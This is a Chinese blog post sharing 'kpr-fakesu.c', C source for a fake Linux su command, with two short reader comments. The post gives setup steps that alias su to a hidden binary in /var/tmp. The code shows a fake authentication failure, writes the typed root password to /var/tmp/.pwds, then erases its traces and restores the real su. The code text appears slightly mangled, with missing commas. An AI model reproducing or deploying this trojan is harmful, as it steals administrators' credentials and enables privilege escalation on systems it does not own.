首页 | 注册 | 登录 | 归档 | 搜索 | 标签 | 在线工具

linux下记录su密码的代码

/*     * kpr-fakesu.c V0.9beta167 ;P    * by koper <koper@linuxmail.org>    *    * Setting up:    * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c    * admin@host:~$ mv .su /var/tmp/.su    * admin@host:~$ cp .bash_profile .wgetrc    * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile    * admin@host:~$ logout    * *** LOGIN ***    * admin@host:~$ su    * Password:     * su: Authentication failure    * Sorry.    * admin@host:~$ su    * Password:     * root@host:~# logout    * admin@host:~$ cat /var/tmp/.pwds    * root:dupcia17    * admin@host:~$     *     * /bin/su sends various failure information depending on the OS ver.    * Please modify the source to make it "fit" ;)    *     */

#include <stdio.h>#include <stdlib.h>#include <unistd.h>

main(int argcchar *argv[]){

FILE *fp;char *user;char *pass;char filex[100];char clean[100];

sprintf(filex,"/var/tmp/.pwds");sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");if(argc==1user="root";if(argc==2user=argv[1];if(argc>2){     if(strcmp(argv[1], "-l")==0)         user=argv[2];     else user=argv[1];}

fprintf(stdout,"Password: "); pass=getpass ("");system("sleep 3");fprintf(stdout,"su: Authentication failure\nSorry.\n");

if ((
fp=fopen(filex,"w")) != NULL)     {     fprintf(fp"%s:%s\n"userpass);     fclose(fp);     }

system(clean);system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");}

Tags: freebsd, linux

Address: http://www.amxku.net/murrain-to-sb/

上一篇 »» MySQL CLUSTER(集群)系列
下一篇 »» Cisco设备做流量监控的方法

相关文章

网友评论

哈你就折腾吧..就是一假的su命令...
查看log日志,你就完蛋了..
Post by Byron(58.60.1*.*) on 2007-08-27, 17:09 Quote #1
呵呵,老潘说的是,只是用于某种特定的情况.
Post by 4mxku(211.155.1*.*) on 2007-08-27, 19:21 Quote #2

发表评论

评论内容: